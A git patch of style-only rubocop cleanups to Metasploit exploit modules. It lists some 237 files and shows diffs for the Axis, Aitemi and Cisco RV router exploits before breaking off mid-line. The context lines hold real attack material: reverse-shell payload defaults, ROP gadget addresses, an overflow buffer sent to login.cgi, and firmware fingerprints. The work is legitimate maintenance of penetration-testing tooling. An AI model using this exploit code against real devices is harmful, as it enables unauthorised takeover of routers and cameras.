From 602adeb4c5404cf9566da2beec28da2b28e91e8b Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Wed, 17 Dec 2025 17:11:13 -0500 Subject: [PATCH] Mass rubocop changes --- .../linux/http/aitemi_m300_time_rce.rb | 2 +- .../linux/http/axis_srv_parhand_rce.rb | 40 +- .../linux/http/cve_2019_1663_cisco_rmi_rce.rb | 156 ++++---- .../http/dlink_diagnostic_exec_noauth.rb | 42 +-- .../linux/http/dlink_dir615_up_exec.rb | 62 ++- .../exploits/linux/http/efw_chpasswd_exec.rb | 14 +- .../linux/http/froxlor_log_path_rce.rb | 2 +- .../linux/http/hp_van_sdn_cmd_inject.rb | 30 +- .../linux/http/huawei_hg532n_cmdinject.rb | 98 +++-- .../http/librenms_collectd_cmd_inject.rb | 6 +- .../linux/http/linksys_e1500_apply_exec.rb | 58 ++- .../linux/http/linksys_themoon_exec.rb | 46 ++- .../http/linksys_wrt160nv2_apply_exec.rb | 48 ++- .../linux/http/linksys_wrt54gl_apply_exec.rb | 140 ++++--- .../exploits/linux/http/mailcleaner_exec.rb | 4 +- .../http/nagios_xi_autodiscovery_webshell.rb | 2 +- .../linux/http/netgear_dgn1000b_setup_exec.rb | 62 ++- .../linux/http/netgear_dgn2200b_pppoe_exec.rb | 138 ++++--- .../linux/http/pulse_secure_cmd_exec.rb | 28 +- .../http/saltstack_salt_wheel_async_rce.rb | 2 +- modules/exploits/linux/http/vcms_upload.rb | 10 +- .../exploits/linux/http/webmin_backdoor.rb | 35 +- .../linux/http/wepresent_cmd_injection.rb | 32 +- modules/exploits/linux/local/bpf_priv_esc.rb | 10 +- .../local/desktop_privilege_escalation.rb | 14 +- .../linux/local/docker_runc_escape.rb | 2 +- modules/exploits/linux/local/hp_smhstart.rb | 8 +- .../exploits/linux/local/ntfs3g_priv_esc.rb | 26 +- modules/exploits/linux/local/pkexec.rb | 24 +- modules/exploits/linux/local/sock_sendpage.rb | 8 +- .../linux/local/sophos_wpa_clear_keys.rb | 30 +- modules/exploits/linux/local/udev_netlink.rb | 40 +- ...are_workspace_one_access_cve_2022_22960.rb | 6 +- modules/exploits/linux/local/zpanel_zsudo.rb | 22 +- .../linux/persistence/init_systemd.rb | 7 +- .../linux/proxy/squid_ntlm_authenticate.rb | 8 +- .../exploits/linux/snmp/awind_snmp_exec.rb | 116 +++--- .../browser/adobe_flash_hacking_team_uaf.rb | 18 +- .../browser/adobe_flash_nellymoser_bof.rb | 18 +- .../adobe_flash_net_connection_confusion.rb | 18 +- .../adobe_flash_opaque_background_uaf.rb | 18 +- .../browser/adobe_flash_pixel_bender_bof.rb | 18 +- .../adobe_flash_shader_drawing_fill.rb | 18 +- .../adobe_flash_shader_job_overflow.rb | 18 +- .../adobe_flash_uncompress_zlib_uaf.rb | 18 +- .../multi/browser/firefox_escape_retval.rb | 22 +- .../multi/browser/firefox_queryinterface.rb | 10 +- .../exploits/multi/browser/itms_overflow.rb | 18 +- .../browser/java_atomicreferencearray.rb | 58 +-- .../multi/browser/java_getsoundbank_bof.rb | 43 ++- .../browser/java_jre17_driver_manager.rb | 76 ++-- .../exploits/multi/browser/java_jre17_exec.rb | 28 +- ...e17_glassfish_averagerangestatisticimpl.rb | 56 +-- .../multi/browser/java_jre17_jaxws.rb | 32 +- .../multi/browser/java_jre17_jmxbean.rb | 58 +-- .../multi/browser/java_jre17_jmxbean_2.rb | 34 +- .../multi/browser/java_jre17_method_handle.rb | 56 +-- .../browser/java_jre17_provider_skeleton.rb | 52 +-- .../browser/java_jre17_reflection_types.rb | 72 ++-- modules/exploits/multi/browser/java_rhino.rb | 32 +- .../multi/browser/java_setdifficm_bof.rb | 45 ++- .../multi/browser/java_signed_applet.rb | 92 ++--- .../multi/browser/java_storeimagearray.rb | 66 ++-- .../multi/browser/java_trusted_chain.rb | 34 +- .../browser/java_verifier_field_access.rb | 50 +-- .../multi/browser/mozilla_compareto.rb | 22 +- .../multi/browser/mozilla_navigatorjava.rb | 18 +- .../multi/browser/opera_configoverwrite.rb | 32 +- .../multi/browser/opera_historysearch.rb | 32 +- .../exploits/multi/browser/qtjava_pointer.rb | 40 +- .../multi/fileformat/adobe_u3d_meshcont.rb | 104 +++--- .../fileformat/ghostscript_failed_restore.rb | 30 +- .../fileformat/libreoffice_macro_exec.rb | 12 +- .../exploits/multi/fileformat/maple_maplet.rb | 15 +- .../multi/fileformat/swagger_param_inject.rb | 8 +- .../multi/http/apache_activemq_upload_jsp.rb | 9 +- .../multi/http/apache_jetspeed_file_upload.rb | 6 +- .../multi/http/atutor_upload_traversal.rb | 2 +- .../multi/http/auxilium_upload_exec.rb | 22 +- .../http/coldfusion_ckeditor_file_upload.rb | 4 +- .../multi/http/coldfusion_rds_auth_bypass.rb | 100 ++--- .../multi/http/eaton_nsm_code_exec.rb | 20 +- .../multi/http/eventlog_file_upload.rb | 98 +++-- .../exploits/multi/http/glassfish_deployer.rb | 353 +++++++++--------- .../multi/http/hp_sitescope_issuesiebelcmd.rb | 44 +-- .../http/hp_sitescope_uploadfileshandler.rb | 160 ++++---- .../exploits/multi/http/hp_sys_mgmt_exec.rb | 36 +- .../exploits/multi/http/jboss_bshdeployer.rb | 50 +-- .../http/jboss_deploymentfilerepository.rb | 64 ++-- .../multi/http/jboss_invoke_deploy.rb | 54 +-- .../exploits/multi/http/jboss_maindeployer.rb | 66 ++-- .../multi/http/jboss_seam_upload_exec.rb | 79 ++-- .../multi/http/jenkins_metaprogramming.rb | 27 +- .../multi/http/jenkins_xstream_deserialize.rb | 64 ++-- .../exploits/multi/http/jira_plugin_upload.rb | 10 +- .../multi/http/manage_engine_dc_pmp_sqli.rb | 108 +++--- .../multi/http/manageengine_search_sqli.rb | 48 +-- .../multi/http/mobilecartly_upload_exec.rb | 22 +- .../multi/http/mutiny_subnetmask_exec.rb | 112 +++--- .../multi/http/netwin_surgeftp_exec.rb | 76 ++-- .../exploits/multi/http/nostromo_code_exec.rb | 8 +- .../multi/http/novell_servicedesk_rce.rb | 162 ++++---- .../multi/http/openfire_auth_bypass.rb | 56 +-- .../multi/http/openmrs_deserialization.rb | 10 +- .../multi/http/oracle_ats_file_upload.rb | 12 +- .../exploits/multi/http/oracle_reports_rce.rb | 124 +++--- ...racle_weblogic_wsat_deserialization_rce.rb | 14 +- modules/exploits/multi/http/orientdb_exec.rb | 42 +-- .../exploits/multi/http/phpfilemanager_rce.rb | 8 +- .../multi/http/phpwiki_ploticus_exec.rb | 8 +- .../multi/http/polarcms_upload_exec.rb | 14 +- .../exploits/multi/http/qdpm_upload_exec.rb | 51 +-- .../rocket_servergraph_file_requestor_rce.rb | 114 +++--- .../exploits/multi/http/sflog_upload_exec.rb | 26 +- .../multi/http/simple_backdoors_exec.rb | 2 +- .../multi/http/sonicwall_gms_upload.rb | 114 +++--- ...sonicwall_scrutinizer_methoddetail_sqli.rb | 20 +- .../exploits/multi/http/splunk_mappy_exec.rb | 36 +- .../multi/http/struts2_rest_xstream.rb | 58 +-- .../exploits/multi/http/struts_code_exec.rb | 34 +- .../http/struts_code_exec_classloader.rb | 58 +-- .../struts_code_exec_exception_delegator.rb | 52 +-- .../multi/http/struts_code_exec_parameters.rb | 24 +- .../http/struts_default_action_mapper.rb | 68 ++-- .../exploits/multi/http/struts_dmi_exec.rb | 23 +- .../multi/http/struts_dmi_rest_exec.rb | 27 +- .../multi/http/struts_include_params.rb | 38 +- modules/exploits/multi/http/stunshell_exec.rb | 4 +- .../multi/http/sun_jsws_dav_options.rb | 14 +- .../multi/http/sysaid_auth_file_upload.rb | 58 +-- .../tomcat_partial_put_deserialization.rb | 2 +- modules/exploits/multi/http/v0pcr3w_exec.rb | 6 +- .../multi/http/vbulletin_widgetconfig_rce.rb | 50 +-- .../exploits/multi/http/wp_db_backup_rce.rb | 2 +- .../exploits/multi/http/zemra_panel_rce.rb | 2 +- .../http/zenworks_control_center_upload.rb | 18 +- .../http/zpanel_information_disclosure_rce.rb | 20 +- modules/exploits/multi/ids/snort_dce_rpc.rb | 6 +- modules/exploits/multi/misc/batik_svg_java.rb | 24 +- .../multi/misc/bmc_patrol_cmd_exec.rb | 78 ++-- .../bmc_server_automation_rscd_nsh_rce.rb | 10 +- .../claymore_dual_miner_remote_manager_rce.rb | 49 ++- .../misc/freeswitch_event_socket_cmd_exec.rb | 58 +-- .../multi/misc/indesign_server_soap.rb | 52 +-- .../exploits/multi/misc/java_jdwp_debugger.rb | 288 +++++++------- .../exploits/multi/misc/java_rmi_server.rb | 50 ++- .../exploits/multi/misc/msf_rpc_console.rb | 8 +- .../exploits/multi/misc/osgi_console_exec.rb | 58 ++- .../misc/persistent_hpca_radexec_exec.rb | 16 +- .../exploits/multi/misc/ra1nx_pubcall_exec.rb | 12 +- .../multi/misc/teamcity_agent_xmlrpc_exec.rb | 4 +- ...blogic_deserialize_asyncresponseservice.rb | 2 +- .../weblogic_deserialize_marshalledobject.rb | 38 +- .../misc/weblogic_deserialize_rawobject.rb | 38 +- .../misc/weblogic_deserialize_unicastref.rb | 42 ++- .../misc/wireshark_lwres_getaddrbyname.rb | 16 +- .../wireshark_lwres_getaddrbyname_loop.rb | 20 +- .../multi/php/php_unserialize_zval_cookie.rb | 70 ++-- .../postgres_copy_from_program_cmd_exec.rb | 48 +-- modules/exploits/multi/realserver/describe.rb | 12 +- .../multi/sap/sap_mgmt_con_osexec_payload.rb | 34 +- .../sap/sap_soap_rfc_sxpg_call_system_exec.rb | 44 +-- .../sap/sap_soap_rfc_sxpg_command_exec.rb | 30 +- modules/exploits/multi/ssh/sshexec.rb | 16 +- modules/exploits/multi/svn/svnserve_date.rb | 24 +- .../exploits/multi/vnc/vnc_keyboard_exec.rb | 148 ++++---- .../multi/wyse/hagent_untrusted_hsdata.rb | 86 ++--- modules/exploits/osx/afp/loginext.rb | 8 +- modules/exploits/osx/arkeia/type77.rb | 20 +- .../osx/browser/safari_metadata_archive.rb | 24 +- .../safari_proxy_object_type_confusion.rb | 28 +- .../exploits/osx/email/mailapp_image_exec.rb | 30 +- modules/exploits/osx/ftp/webstar_ftp_user.rb | 8 +- .../osx/local/feedback_assistant_root.rb | 8 +- modules/exploits/osx/local/nfs_mount_root.rb | 10 +- .../exploits/osx/local/setuid_tunnelblick.rb | 16 +- .../exploits/osx/local/setuid_viscosity.rb | 16 +- .../osx/local/sudo_password_bypass.rb | 52 +-- .../osx/local/vmware_bash_function_root.rb | 4 +- modules/exploits/solaris/dialup/manyargs.rb | 14 +- .../unix/http/pfsense_diag_routes_webshell.rb | 2 +- .../unix/http/vmturbo_vmtadmin_exec_noauth.rb | 36 +- .../unix/webapp/drupal_drupalgeddon2.rb | 116 +++--- .../unix/webapp/drupal_restws_unserialize.rb | 30 +- .../unix/webapp/fusionpbx_exec_cmd_exec.rb | 32 +- .../fusionpbx_operator_panel_exec_cmd_exec.rb | 24 +- .../unix/webapp/havalite_upload_exec.rb | 20 +- .../unix/webapp/jquery_file_upload.rb | 8 +- .../unix/webapp/libretto_upload_exec.rb | 20 +- .../unix/webapp/nagios3_history_cgi.rb | 46 +-- .../unix/webapp/projectpier_upload_exec.rb | 16 +- .../unix/webapp/rconfig_install_cmd_exec.rb | 24 +- .../webapp/vicidial_manager_send_cmd_exec.rb | 50 +-- modules/exploits/unix/webapp/zimbra_lfi.rb | 109 +++--- modules/exploits/windows/arkeia/type77.rb | 18 +- .../windows/backupexec/name_service.rb | 10 +- .../windows/backupexec/remote_agent.rb | 16 +- .../windows/brightstor/discovery_tcp.rb | 16 +- .../windows/brightstor/discovery_udp.rb | 12 +- .../exploits/windows/brightstor/sql_agent.rb | 10 +- .../windows/brightstor/universal_agent.rb | 10 +- .../exploits/windows/browser/aim_goaway.rb | 10 +- .../windows/browser/java_basicservice_impl.rb | 36 +- modules/exploits/windows/browser/java_cmm.rb | 60 +-- .../windows/browser/java_codebase_trust.rb | 26 +- .../browser/mozilla_interleaved_write.rb | 22 +- .../windows/browser/mozilla_mchannel.rb | 68 ++-- .../windows/browser/mozilla_nstreerange.rb | 62 ++- .../windows/browser/mozilla_reduceright.rb | 30 +- .../windows/browser/ms03_020_ie_objecttype.rb | 20 +- .../browser/ms10_026_avi_nsamplespersec.rb | 43 ++- .../exploits/windows/dcerpc/ms05_017_msmq.rb | 24 +- .../exploits/windows/dcerpc/ms07_065_msmq.rb | 34 +- .../windows/fileformat/aol_desktop_linktag.rb | 22 +- .../fileformat/cve_2017_8464_lnk_rce.rb | 8 +- .../exploits/windows/ftp/3cdaemon_ftp_user.rb | 12 +- modules/exploits/windows/ftp/freeftpd_user.rb | 10 +- .../windows/ftp/oracle9i_xdb_ftp_pass.rb | 6 +- modules/exploits/windows/ftp/servu_mdtm.rb | 40 +- .../exploits/windows/ftp/warftpd_165_pass.rb | 2 +- .../http/generic_http_dll_injection.rb | 14 +- .../windows/http/hp_nnm_toolbar_02.rb | 18 +- .../windows/http/oracle_btm_writetofile.rb | 160 ++++---- .../http/zenworks_assetmgmt_uploadservlet.rb | 16 +- .../windows/http/zenworks_uploadservlet.rb | 12 +- .../ibm_was_dmgr_java_deserialization_rce.rb | 30 +- .../windows/local/cve_2017_8464_lnk_lpe.rb | 4 +- .../windows/local/ms16_075_reflection.rb | 28 +- .../windows/local/ricoh_driver_privesc.rb | 8 +- .../windows/novell/zenworks_desktop_agent.rb | 20 +- .../exploits/windows/scada/diaenergie_sqli.rb | 2 +- .../windows/smb/generic_smb_dll_injection.rb | 4 +- .../windows/smb/group_policy_startup.rb | 4 +- modules/exploits/windows/smb/ms05_039_pnp.rb | 38 +- modules/exploits/windows/smb/smb_relay.rb | 4 +- .../windows/unicenter/cam_log_security.rb | 4 +- .../exploits/windows/wins/ms04_045_wins.rb | 24 +- 237 files changed, 4505 insertions(+), 4446 deletions(-) diff --git a/modules/exploits/linux/http/aitemi_m300_time_rce.rb b/modules/exploits/linux/http/aitemi_m300_time_rce.rb index fbff4cdac8..f3a368eb21 100644 --- a/modules/exploits/linux/http/aitemi_m300_time_rce.rb +++ b/modules/exploits/linux/http/aitemi_m300_time_rce.rb @@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Remote ['URL', 'https://chocapikk.com/posts/2025/when-a-wifi-name-gives-you-root-part-two/'], ['CVE', '2025-34152'] ], - 'Platform' => %w(linux unix), + 'Platform' => %w[linux unix], 'Payload' => { 'BadChars' => "\x60" }, diff --git a/modules/exploits/linux/http/axis_srv_parhand_rce.rb b/modules/exploits/linux/http/axis_srv_parhand_rce.rb index b03fd6eff7..8065f637b2 100644 --- a/modules/exploits/linux/http/axis_srv_parhand_rce.rb +++ b/modules/exploits/linux/http/axis_srv_parhand_rce.rb @@ -43,28 +43,32 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'Unix In-Memory', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Type' => :unix_memory, - 'Payload' => { - 'BadChars' => ' ', - 'Encoder' => 'cmd/ifs', - 'Compat' => { - 'PayloadType' => 'cmd', - 'RequiredCmd' => 'netcat-e' + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_memory, + 'Payload' => { + 'BadChars' => ' ', + 'Encoder' => 'cmd/ifs', + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'netcat-e' + } + }, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping' } - }, - 'DefaultOptions' => { - 'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping' } ], [ 'Linux Dropper', - 'Platform' => 'linux', - 'Arch' => ARCH_ARMLE, - 'Type' => :linux_dropper, - 'DefaultOptions' => { - 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp' + { + 'Platform' => 'linux', + 'Arch' => ARCH_ARMLE, + 'Type' => :linux_dropper, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp' + } } ] ], @@ -101,7 +105,7 @@ class MetasploitModule < Msf::Exploit::Remote end end - def execute_command(cmd, opts = {}) + def execute_command(cmd, _opts = {}) send_request_cgi( 'method' => 'POST', 'uri' => "/index.html/#{rand_srv}", diff --git a/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb b/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb index 914eac1167..0a1f3fd585 100644 --- a/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb +++ b/modules/exploits/linux/http/cve_2019_1663_cisco_rmi_rce.rb @@ -54,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Platform' => %w[linux], 'SessionTypes' => %w[meterpreter], - 'CmdStagerFlavor' => %w{wget}, + 'CmdStagerFlavor' => %w[wget], 'Privileged' => true, # BusyBox 'References' => [ ['CVE', '2019-1663'], @@ -67,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote 'SSL' => true, 'RPORT' => 443, 'CMDSTAGER::FLAVOR' => 'wget', - 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' }, 'Targets' => [ [ @@ -82,7 +82,7 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget1' => 0x00167c8c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' } } ], @@ -98,7 +98,7 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget1' => 0x00167c4c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' } } ], @@ -114,7 +114,7 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' } } ], @@ -130,7 +130,7 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' } } ], @@ -146,7 +146,7 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' } } ], @@ -160,7 +160,7 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget2' => 0x00041308, # mov r0, sp; blx r2; 'Arch' => ARCH_ARMLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp' } }, ], @@ -176,7 +176,7 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' } } ], @@ -192,7 +192,7 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget1' => 0x00151fbc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' } } ], @@ -208,7 +208,7 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' } } ], @@ -224,7 +224,7 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget1' => 0x0005059c, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' } } ], @@ -240,7 +240,7 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget1' => 0x00057bec, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' } } ], @@ -256,7 +256,7 @@ class MetasploitModule < Msf::Exploit::Remote 'gadget1' => 0x0003e7dc, # addiu $s0, $sp, 0x20; move $t9, $s4; jalr $t9; move $a0, $s0; 'Arch' => ARCH_MIPSLE, 'DefaultOptions' => { - 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp', + 'PAYLOAD' => 'linux/mipsle/meterpreter_reverse_tcp' } } ], @@ -266,7 +266,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Notes' => { 'Stability' => [ CRASH_SERVICE_DOWN, ], 'Reliability' => UNKNOWN_RELIABILITY, - 'SideEffects' => UNKNOWN_SIDE_EFFECTS, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS }, 'Compat' => { 'Meterpreter' => { @@ -315,25 +315,23 @@ class MetasploitModule < Msf::Exploit::Remote end def send_request(buffer) - begin - send_request_cgi({ - 'uri' => '/login.cgi', - 'method' => 'POST', - 'vars_post' => { - submit_button: "login", - submit_type: "", - gui_action: "", - wait_time: 0, - change_action: "", - enc: 1, - user: rand_text_alpha_lower(5), - pwd: buffer, - sel_lang: "EN" - } - }) - rescue ::Rex::ConnectionError - fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router") - end + send_request_cgi({ + 'uri' => '/login.cgi', + 'method' => 'POST', + 'vars_post' => { + submit_button: 'login', + submit_type: '', + gui_action: '', + wait_time: 0, + change_action: '', + enc: 1, + user: rand_text_alpha_lower(5), + pwd: buffer, + sel_lang: 'EN' + } + }) + rescue ::Rex::ConnectionError + fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router") end def check @@ -343,57 +341,57 @@ class MetasploitModule < Msf::Exploit::Remote # (see RV110 branch 1.2.1.x/1.2.2.x, RV130 > 1.0.3.22, RV215 1.2.0.x/1.3.x) fingerprints = { - "69d906ddd59eb6755a7b9c4f46ea11cdaa47c706" => { - "version" => "Cisco RV110W 1.1.0.9", - "status" => Exploit::CheckCode::Vulnerable + '69d906ddd59eb6755a7b9c4f46ea11cdaa47c706' => { + 'version' => 'Cisco RV110W 1.1.0.9', + 'status' => Exploit::CheckCode::Vulnerable }, - "8d3b677d870425198f7fae94d6cfe262551aa8bd" => { - "version" => "Cisco RV110W 1.2.0.9", - "status" => Exploit::CheckCode::Vulnerable + '8d3b677d870425198f7fae94d6cfe262551aa8bd' => { + 'version' => 'Cisco RV110W 1.2.0.9', + 'status' => Exploit::CheckCode::Vulnerable }, - "134ee643ec877641030211193a43cc5e93c96a06" => { - "version" => "Cisco RV110W 1.2.0.10", - "status" => Exploit::CheckCode::Vulnerable + '134ee643ec877641030211193a43cc5e93c96a06' => { + 'version' => 'Cisco RV110W 1.2.0.10', + 'status' => Exploit::CheckCode::Vulnerable }, - "e3b2ec9d099a3e3468f8437e5247723643ff830e" => { - "version" => "Cisco RV110W 1.2.1.4, 1.2.1.7, 1.2.2.1 (not vulnerable), 1.2.2.4 (not vulnerable)", - "status" => Exploit::CheckCode::Unknown + 'e3b2ec9d099a3e3468f8437e5247723643ff830e' => { + 'version' => 'Cisco RV110W 1.2.1.4, 1.2.1.7, 1.2.2.1 (not vulnerable), 1.2.2.4 (not vulnerable)', + 'status' => Exploit::CheckCode::Unknown }, - "6b7b1e8097e8dda26db27a09b8176b9c32b349b3" => { - "version" => "Cisco RV130/RV130W 1.0.0.21", - "status" => Exploit::CheckCode::Vulnerable + '6b7b1e8097e8dda26db27a09b8176b9c32b349b3' => { + 'version' => 'Cisco RV130/RV130W 1.0.0.21', + 'status' => Exploit::CheckCode::Vulnerable }, - "9b1a87b752d11c5ba97dd80d6bae415532615266" => { - "version" => "Cisco RV130/RV130W 1.0.1.3", - "status" => Exploit::CheckCode::Vulnerable + '9b1a87b752d11c5ba97dd80d6bae415532615266' => { + 'version' => 'Cisco RV130/RV130W 1.0.1.3', + 'status' => Exploit::CheckCode::Vulnerable }, - "9b6399842ef69cf94409b65c4c61017c862b9d09" => { - "version" => "Cisco RV130/RV130W 1.0.2.7", - "status" => Exploit::CheckCode::Vulnerable + '9b6399842ef69cf94409b65c4c61017c862b9d09' => { + 'version' => 'Cisco RV130/RV130W 1.0.2.7', + 'status' => Exploit::CheckCode::Vulnerable }, - "8680ec6df4f8937acd3505a4dd36d40cb02c2bd6" => { - "version" => "Cisco RV130/RV130W 1.0.3.14, 1.0.3.16", - "status" => Exploit::CheckCode::Vulnerable + '8680ec6df4f8937acd3505a4dd36d40cb02c2bd6' => { + 'version' => 'Cisco RV130/RV130W 1.0.3.14, 1.0.3.16', + 'status' => Exploit::CheckCode::Vulnerable }, - "8c8e05de96810a02344d96588c09b21c491ede2d" => { - "version" => "Cisco RV130/RV130W 1.0.3.22, 1.0.3.28, 1.0.3.44, 1.0.3.45 (not vulnerable), 1.0.3.51 (not vulnerable)", - "status" => Exploit::CheckCode::Unknown + '8c8e05de96810a02344d96588c09b21c491ede2d' => { + 'version' => 'Cisco RV130/RV130W 1.0.3.22, 1.0.3.28, 1.0.3.44, 1.0.3.45 (not vulnerable), 1.0.3.51 (not vulnerable)', + 'status' => Exploit::CheckCode::Unknown }, - "2f29a0dfa78063d643eb17388e27d3f804ff6765" => { - "version" => "Cisco RV215W 1.1.0.5", - "status" => Exploit::CheckCode::Vulnerable + '2f29a0dfa78063d643eb17388e27d3f804ff6765' => { + 'version' => 'Cisco RV215W 1.1.0.5', + 'status' => Exploit::CheckCode::Vulnerable }, - "e5cc84d7c9c2d840af85d5f25cee33baffe3ca6f" => { - "version" => "Cisco RV215W 1.1.0.6", - "status" => Exploit::CheckCode::Vulnerable + 'e5cc84d7c9c2d840af85d5f25cee33baffe3ca6f' => { + 'version' => 'Cisco RV215W 1.1.0.6', + 'status' => Exploit::CheckCode::Vulnerable }, - "7cc8fcce5949a68c31641c38255e7f6ed31ff4db" => { - "version" => "Cisco RV215W 1.2.0.14 or 1.2.0.15", - "status" => Exploit::CheckCode::Vulnerable + '7cc8fcce5949a68c31641c38255e7f6ed31ff4db' => { + 'version' => 'Cisco RV215W 1.2.0.14 or 1.2.0.15', + 'status' => Exploit::CheckCode::Vulnerable }, - "050d47ea944eaeadaec08945741e8e380f796741" => { - "version" => "Cisco RV215W 1.3.0.7 or 1.3.0.8, 1.3.1.1 (not vulnerable), 1.3.1.4 (not vulnerable)", - "status" => Exploit::CheckCode::Unknown + '050d47ea944eaeadaec08945741e8e380f796741' => { + 'version' => 'Cisco RV215W 1.3.0.7 or 1.3.0.8, 1.3.1.1 (not vulnerable), 1.3.1.4 (not vulnerable)', + 'status' => Exploit::CheckCode::Unknown } } @@ -403,10 +401,10 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(uri, 'lang_pack/EN.js') }) if res && res.code == 200 - fingerprint = Digest::SHA1.hexdigest("#{res.body.to_s}") + fingerprint = Digest::SHA1.hexdigest("#{res.body}") if fingerprints.key?(fingerprint) - print_good("Successfully identified device: #{fingerprints[fingerprint]["version"]}") - return fingerprints[fingerprint]["status"] + print_good("Successfully identified device: #{fingerprints[fingerprint]['version']}") + return fingerprints[fingerprint]['status'] else print_status("Couldn't reliably fingerprint the target.") end @@ -419,7 +417,7 @@ class MetasploitModule < Msf::Exploit::Remote execute_cmdstager end - def execute_command(cmd, opts = {}) + def execute_command(cmd, _opts = {}) shellcode = prepare_shellcode(cmd.to_s) send_request(shellcode) end @@ -428,8 +426,8 @@ class MetasploitModule < Msf::Exploit::Remote # Given there is no process continuation here, the httpd server will stop # functioning properly and we need to take care of proper restart # ourselves. - print_status("Reloading httpd service") - reload_httpd_service = "killall httpd && cd /www && httpd && httpd -S" + print_status('Reloading httpd service') + reload_httpd_service = 'killall httpd && cd /www && httpd && httpd -S' if session.type.to_s.eql? 'meterpreter' session.core.use 'stdapi' unless session.ext.aliases.include? 'stdapi' session.sys.process.execute '/bin/sh', "-c \"#{reload_httpd_service}\"" diff --git a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb index 5bef0c1bc2..1e222150cd 100644 --- a/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_diagnostic_exec_noauth.rb @@ -82,28 +82,26 @@ class MetasploitModule < 